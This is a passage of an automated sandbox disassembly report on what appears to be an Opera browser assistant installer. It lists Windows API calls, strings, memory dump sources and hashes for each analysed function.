                                                                                                                                                                                                                • BuildExplicitAccessWithNameW.ADVAPI32(?,?,?,00000001,00000003,?,?,00000000), ref: 007109D3
                                                                                                                                                                                                                • SetEntriesInAclW.ADVAPI32(00000001,?,00000000,?,?,?,00000000), ref: 007109E9
                                                                                                                                                                                                                • SetEntriesInAclW.ADVAPI32(?,?,?,?,?,?,00000000), ref: 00710A0A
                                                                                                                                                                                                                • LocalFree.KERNEL32(?,?,?,?,?,00000000), ref: 00710A1B
                                                                                                                                                                                                                • LocalFree.KERNEL32(?,?,?,?,?,00000000), ref: 00710A2A
                                                                                                                                                                                                                • LocalFree.KERNEL32(?,?,?,00000000), ref: 00710A3B
                                                                                                                                                                                                                • LocalFree.KERNEL32(?,?,?,00000000), ref: 00710A4A
                                                                                                                                                                                                                • SetNamedSecurityInfoW.ADVAPI32(?,?,00000004,00000000,00000000,?,00000000), ref: 00710A86
                                                                                                                                                                                                                • SetNamedSecurityInfoW.ADVAPI32(?,?,00000004,00000000,00000000,?,00000000), ref: 00710ADA
                                                                                                                                                                                                                • LocalFree.KERNEL32(?), ref: 00710B00
                                                                                                                                                                                                                • LocalFree.KERNEL32(?), ref: 00710B0F
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: FreeLocal$InfoNamedSecurity$Entries$ExplicitName$AccessBuildCheckFromMembershipTokenUserWith
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 4240689945-0
                                                                                                                                                                                                                • Opcode ID: aaffe99748362780a0cc320a6a51995a306a2834bc9687ec65532508c516c409
                                                                                                                                                                                                                • Instruction ID: a4a0666b639f9c8b0361e8be11919bd9fc72a0ff2043991f79ccf061ca8fb29c
                                                                                                                                                                                                                • Opcode Fuzzy Hash: aaffe99748362780a0cc320a6a51995a306a2834bc9687ec65532508c516c409
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 2AD18C71604311AFDB14DF68C884AABBBE9FF89350F048529F945C7281DBB4E985CBD2
                                                                                                                                                                                                                Function 00755D10 Relevance: 23.1, APIs: 12, Strings: 1, Instructions: 319fileprocesssynchronizationCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • CreatePipe.KERNEL32(00000000,00000000,0000000C,00000000), ref: 00755D82
                                                                                                                                                                                                                • GetLastError.KERNEL32 ref: 00755D9D
                                                                                                                                                                                                                • SetLastError.KERNEL32(00000000), ref: 00755DBB
                                                                                                                                                                                                                • GetLastError.KERNEL32 ref: 00755DD5
                                                                                                                                                                                                                • SetLastError.KERNEL32(00000000), ref: 00755DF2
                                                                                                                                                                                                                • SetHandleInformation.KERNEL32(?,00000001,00000000), ref: 00755E0C
                                                                                                                                                                                                                • GetStdHandle.KERNEL32(000000F6), ref: 00755F0A
                                                                                                                                                                                                                • GetStdHandle.KERNEL32(000000F4), ref: 00755F2E
                                                                                                                                                                                                                  • Part of subcall function 00778010: TryAcquireSRWLockExclusive.KERNEL32(000000D0), ref: 0077803F
                                                                                                                                                                                                                • CreateProcessW.KERNEL32 ref: 00755F9D
                                                                                                                                                                                                                • ReadFile.KERNEL32(?,?,00000400,00000000,00000000), ref: 007560F0
                                                                                                                                                                                                                • ReadFile.KERNEL32(?,?,00000400,?,00000000,?,00000000), ref: 00756135
                                                                                                                                                                                                                • WaitForSingleObject.KERNEL32(?,000000FF), ref: 00756149
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ErrorLast$Handle$CreateFileRead$AcquireExclusiveInformationLockObjectPipeProcessSingleWait
                                                                                                                                                                                                                • String ID: D
                                                                                                                                                                                                                • API String ID: 3662480232-2746444292
                                                                                                                                                                                                                • Opcode ID: c68cd7fbe5fdb5897e7be05acf001bc5761988344cdb2a720015cb5cc1a3ec14
                                                                                                                                                                                                                • Instruction ID: dd98a0fb8e51fe4a35a32126b877a3405c2767b1f49d2b7ce04219863fa50da8
                                                                                                                                                                                                                • Opcode Fuzzy Hash: c68cd7fbe5fdb5897e7be05acf001bc5761988344cdb2a720015cb5cc1a3ec14
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 93D1D3715087409FE720DF24C885BAFBBE4BF85311F104A1DE99897291DBB8A948CB93
                                                                                                                                                                                                                Function 00754EE0 Relevance: 21.4, APIs: 10, Strings: 2, Instructions: 406processsynchronizationCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • SetHandleInformation.KERNEL32(00711A0E,00000001,00000001,?,008A4C28), ref: 00754FB6
                                                                                                                                                                                                                • CreateEnvironmentBlock.USERENV(00000000,?,00000000,?), ref: 0075517C
                                                                                                                                                                                                                • CreateProcessAsUserW.ADVAPI32(?,00000000,FFFFFFFF,00000000,00000000,?,00000000,00000000,00000000,?,?,00000000,?,00000000,?), ref: 007551BD
                                                                                                                                                                                                                • DestroyEnvironmentBlock.USERENV(00000000), ref: 007551C9
                                                                                                                                                                                                                • GetEnvironmentStringsW.KERNEL32(?), ref: 0075524D
                                                                                                                                                                                                                • FreeEnvironmentStringsW.KERNEL32(?), ref: 00755330
                                                                                                                                                                                                                • CreateProcessW.KERNEL32(00000000,FFFFFFFF,00000000,00000000,?,00000000,00000000,00000000,?,?,?), ref: 00755376
                                                                                                                                                                                                                • AssignProcessToJobObject.KERNEL32(?,00000000), ref: 007553BE
                                                                                                                                                                                                                • AllowSetForegroundWindow.USER32(00000000), ref: 007553DB
                                                                                                                                                                                                                • WaitForSingleObject.KERNEL32(00000000,000000FF,?), ref: 007553EC
                                                                                                                                                                                                                  • Part of subcall function 00756240: GetLastError.KERNEL32(?,008A4CF8,?,?,0075648D,00000000,?,?,?,0075B3EC), ref: 00756255
                                                                                                                                                                                                                  • Part of subcall function 00756240: SetLastError.KERNEL32(00000000,?,?,0075648D,00000000,?,?,?,0075B3EC), ref: 0075628C
                                                                                                                                                                                                                  • Part of subcall function 00756240: GetCurrentProcess.KERNEL32(?,008A4CF8,?,?,0075648D,00000000,?,?,?,0075B3EC), ref: 00756296
                                                                                                                                                                                                                  • Part of subcall function 007565B0: GetCurrentProcess.KERNEL32(5D5B5F5E,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 007565CE
                                                                                                                                                                                                                  • Part of subcall function 007565B0: TerminateProcess.KERNEL32(33B6CE54,^_[],5D5B5F5E,?), ref: 007565DA
                                                                                                                                                                                                                  • Part of subcall function 007565B0: GetCurrentProcess.KERNEL32 ref: 007565F0
                                                                                                                                                                                                                  • Part of subcall function 007565B0: WaitForSingleObject.KERNEL32(00000000,0000EA60), ref: 00756642
                                                                                                                                                                                                                  • Part of subcall function 007565B0: GetCurrentProcess.KERNEL32 ref: 0075664E
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: Process$CurrentEnvironment$CreateObject$BlockErrorLastSingleStringsWait$AllowAssignDestroyForegroundFreeHandleInformationTerminateUserWindow
                                                                                                                                                                                                                • String ID: ../../base/process/launch_win.cc$LaunchProcess
                                                                                                                                                                                                                • API String ID: 4109405000-1974568409
                                                                                                                                                                                                                • Opcode ID: 246e97f80b26d4bf833fa2055bb79b40bab2d14c9c763ed91446c9710da31481
                                                                                                                                                                                                                • Instruction ID: 5e901486dc7f51122bc51bfd686b28c5ed0f2cb164f46f391ed6c2049f9d0cbd
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 246e97f80b26d4bf833fa2055bb79b40bab2d14c9c763ed91446c9710da31481
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 00F1A0705087819BD720DF24C855BABBBE1BF85315F144A1CF8D9872D1DBB8E988CB92
                                                                                                                                                                                                                Function 007E35F4 Relevance: 18.0, APIs: 4, Strings: 6, Instructions: 491COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                • POSIXLY_CORRECT, xrefs: 007E369B
                                                                                                                                                                                                                • %s: argument required for option `, xrefs: 007E3B80
                                                                                                                                                                                                                • %s: option `%s' is ambiguous (could be `--%s' or `--%s'), xrefs: 007E3B35
                                                                                                                                                                                                                • --%s', xrefs: 007E3BA6
                                                                                                                                                                                                                • -%c', xrefs: 007E3BDA
                                                                                                                                                                                                                • %s: invalid option -- `-%c', xrefs: 007E39A1
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ___from_strstr_to_strchr_strlen
                                                                                                                                                                                                                • String ID: %s: argument required for option `$%s: invalid option -- `-%c'$%s: option `%s' is ambiguous (could be `--%s' or `--%s')$-%c'$--%s'$POSIXLY_CORRECT
                                                                                                                                                                                                                • API String ID: 1576176021-3002513585
                                                                                                                                                                                                                • Opcode ID: 25522686003fd2c10eacdb4f325eac59285ded4ec274338a642114d01a2c361d
                                                                                                                                                                                                                • Instruction ID: a35a38d2c796263f2752770259cdd3fec6b71f6a0388387a30d83e4242587524
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 25522686003fd2c10eacdb4f325eac59285ded4ec274338a642114d01a2c361d
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 6D02F4B1E052659BDF10CF6AD889BAEBBB1FB0D314F144129E805A7351D339EE81CB91
                                                                                                                                                                                                                Function 007B11A6 Relevance: 17.9, APIs: 2, Strings: 8, Instructions: 369COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                  • Part of subcall function 006F3696: _strlen.LIBCMT ref: 006F36AD
                                                                                                                                                                                                                • K32GetProcessMemoryInfo.KERNEL32(00000000,?,0000002C), ref: 007B130C
                                                                                                                                                                                                                • K32GetPerformanceInfo.KERNEL32(?,00000038), ref: 007B14E2
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: Info$MemoryPerformanceProcess_strlen
                                                                                                                                                                                                                • String ID: Win32$^_[]$cana$channel$plat$prod$ptype$ver
                                                                                                                                                                                                                • API String ID: 4159616963-1260709952
                                                                                                                                                                                                                • Opcode ID: 390e1065bde23e6e23e0e8f5f61ad7fdc548c9051276210ee932a50f45bda842
                                                                                                                                                                                                                • Instruction ID: cb0ab5025a3f16e936ee45af396f8b01cc53d543b3715a6cdeb96ce1121516da
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 390e1065bde23e6e23e0e8f5f61ad7fdc548c9051276210ee932a50f45bda842
                                                                                                                                                                                                                • Instruction Fuzzy Hash: B2E1ADB1908381ABD720DF24C891BABBBE4FFD5310F84892DF5CA83251EB349955CB52
                                                                                                                                                                                                                Function 007E6D0E Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 284synchronizationthreadCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • CreateThread.KERNEL32(00000000,00000000,007E70A0,00000000,00000000,00000000), ref: 007E6E01
                                                                                                                                                                                                                • GetQueuedCompletionStatus.KERNEL32(?,?,?,?,000000FF), ref: 007E6ECE
                                                                                                                                                                                                                • TryAcquireSRWLockExclusive.KERNEL32 ref: 007E6EE3
                                                                                                                                                                                                                  • Part of subcall function 007ACB18: GetVersion.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 007ACB49
                                                                                                                                                                                                                  • Part of subcall function 007ACB18: CreateNamedPipeW.KERNELBASE ref: 007ACBA4
                                                                                                                                                                                                                • ReleaseSRWLockExclusive.KERNEL32(?,?), ref: 007E6F30
                                                                                                                                                                                                                • WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,?,?,?,?,?,?), ref: 007E6FC6
                                                                                                                                                                                                                • TryAcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 007E6FD3
                                                                                                                                                                                                                • ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 007E7051
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                • CreateNamedPipe, xrefs: 007E6E86
                                                                                                                                                                                                                • ../../third_party/crashpad/crashpad/util/win/exception_handler_server.cc, xrefs: 007E6E38, 007E6E6B
                                                                                                                                                                                                                • CreateThread, xrefs: 007E6E4F
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ExclusiveLock$AcquireCreateRelease$CompletionNamedObjectPipeQueuedSingleStatusThreadVersionWait
                                                                                                                                                                                                                • String ID: ../../third_party/crashpad/crashpad/util/win/exception_handler_server.cc$CreateNamedPipe$CreateThread
                                                                                                                                                                                                                • API String ID: 995286921-1199881885
                                                                                                                                                                                                                • Opcode ID: 9863c417641c4e3a94c2edcc423b9de20506ae5ffe8d2a625a89c63849819f2c
                                                                                                                                                                                                                • Instruction ID: 029660bef93535309c6c777fd006de260b0de3ca032df5c9ba476ef066c06777
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 9863c417641c4e3a94c2edcc423b9de20506ae5ffe8d2a625a89c63849819f2c
                                                                                                                                                                                                                • Instruction Fuzzy Hash: BBB1BEB1A09340DFC714EF29D884A1ABBE0FF98350F054A2EF89987291D739D944CB92
                                                                                                                                                                                                                Function 00756AE0 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 82threadlibraryloaderCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                  • Part of subcall function 0078E230: TryAcquireSRWLockExclusive.KERNEL32(00000000,'v,?,?,?,00756B03,'v,?,?,0076E527,?), ref: 0078E251
                                                                                                                                                                                                                • GetCurrentThread.KERNEL32 ref: 00756B50
                                                                                                                                                                                                                • IsDebuggerPresent.KERNEL32('v,?,?,0076E527,?), ref: 00756B6B
                                                                                                                                                                                                                • GetCurrentThreadId.KERNEL32 ref: 00756B7D
                                                                                                                                                                                                                • __Init_thread_header.LIBCMT ref: 00756BA4
                                                                                                                                                                                                                • GetModuleHandleW.KERNEL32(Kernel32.dll,'v,?,?,0076E527,?), ref: 00756BBE
                                                                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,SetThreadDescription), ref: 00756BCA
                                                                                                                                                                                                                • __Init_thread_footer.LIBCMT ref: 00756BDA
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: CurrentThread$AcquireAddressDebuggerExclusiveHandleInit_thread_footerInit_thread_headerLockModulePresentProc
                                                                                                                                                                                                                • String ID: 'v$Kernel32.dll$SetThreadDescription
                                                                                                                                                                                                                • API String ID: 4238099923-1146536981
                                                                                                                                                                                                                • Opcode ID: d656f611880d0f9fcadb13ccb38e18e3d3e4598c6804a734933cc738d944a4cc
                                                                                                                                                                                                                • Instruction ID: ead3ba05b22071729c2ac96c563c4e23c8a42b1e8d4517dda9c9e4afffd3d5d4
                                                                                                                                                                                                                • Opcode Fuzzy Hash: d656f611880d0f9fcadb13ccb38e18e3d3e4598c6804a734933cc738d944a4cc
                                                                                                                                                                                                                • Instruction Fuzzy Hash: D7215AB1A002189FEF10BB64EC59ABEB764FF41725F640029FC56C3241DB797C058792
                                                                                                                                                                                                                Function 00759120 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 296fileCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • FindNextFileW.KERNEL32(?,?,?,?,00000000,?,?), ref: 007591E4
                                                                                                                                                                                                                • FindClose.KERNEL32(?,?,?), ref: 007591F8
                                                                                                                                                                                                                • GetLastError.KERNEL32(?,?), ref: 00759342
                                                                                                                                                                                                                • GetFileAttributesW.KERNEL32(FFFFFFFF,FFFFFFFF,?,?,?,00000001,?,?), ref: 00759420
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: FileFind$AttributesCloseErrorLastNext
                                                                                                                                                                                                                • String ID: ../../base/files/file_enumerator_win.cc$Next
                                                                                                                                                                                                                • API String ID: 2898002969-3065876524
                                                                                                                                                                                                                • Opcode ID: 63efa317d2c41f6a84f7ae35cc5e4ee689861927d8439e3c5d6e066a83a98261
                                                                                                                                                                                                                • Instruction ID: 7b263c48174a8fed3ab4e86739c854532afebd2c6349121c0ec79a83cf9c6f2a
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 63efa317d2c41f6a84f7ae35cc5e4ee689861927d8439e3c5d6e066a83a98261
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 7EB1F870608742EFD718DF24C888BAAF7A5BF84311F10071DF9A5872D1EB78A959CB81
                                                                                                                                                                                                                Function 00712770 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 99fileCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • CreateFileW.KERNEL32(?,?,?,?,?,?,00000000), ref: 00712814
                                                                                                                                                                                                                • DeviceIoControl.KERNEL32 ref: 0071285D
                                                                                                                                                                                                                • GetLastError.KERNEL32 ref: 00712869
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                • \\.\%lc:, xrefs: 0071279B
                                                                                                                                                                                                                • IsValid, xrefs: 007127D3
                                                                                                                                                                                                                • ../../opera/desktop/windows/os_operations/os_operations_impl.cc, xrefs: 007127CE
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ControlCreateDeviceErrorFileLast
                                                                                                                                                                                                                • String ID: ../../opera/desktop/windows/os_operations/os_operations_impl.cc$IsValid$\\.\%lc:
                                                                                                                                                                                                                • API String ID: 1247001307-2475376787
                                                                                                                                                                                                                • Opcode ID: dae3fe2a861309e677e6f4ce815dac952d51398344438701519e1647a4cc2eb8
                                                                                                                                                                                                                • Instruction ID: 3f247e394d3cb156d9a06af9e64f481aa6eca99e2d62f8a4e99ded10075035ad
                                                                                                                                                                                                                • Opcode Fuzzy Hash: dae3fe2a861309e677e6f4ce815dac952d51398344438701519e1647a4cc2eb8
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 4531D3B19047419FD710EF68C98546AFBE4FF98310F408A2EF8D593652E774A589CB82
                                                                                                                                                                                                                Function 0071051B Relevance: 7.6, APIs: 5, Instructions: 74COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,0071043C,SeTakeOwnershipPrivilege), ref: 0071053C
                                                                                                                                                                                                                • OpenProcessToken.ADVAPI32(00000000,00000020,?,?,?,?,?,?,?,?,?,0071043C,SeTakeOwnershipPrivilege), ref: 00710546
                                                                                                                                                                                                                  • Part of subcall function 00701B9C: GetLastError.KERNEL32(00000000,?,-00000001,?,007012C9,00000000), ref: 00701BAB
                                                                                                                                                                                                                  • Part of subcall function 00701B9C: SetLastError.KERNEL32(00000000,?,007012C9,00000000), ref: 00701BCA
                                                                                                                                                                                                                • LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 00710577
                                                                                                                                                                                                                • AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,0071043C,SeTakeOwnershipPrivilege), ref: 007105A9
                                                                                                                                                                                                                • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,0071043C,SeTakeOwnershipPrivilege), ref: 007105B3
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
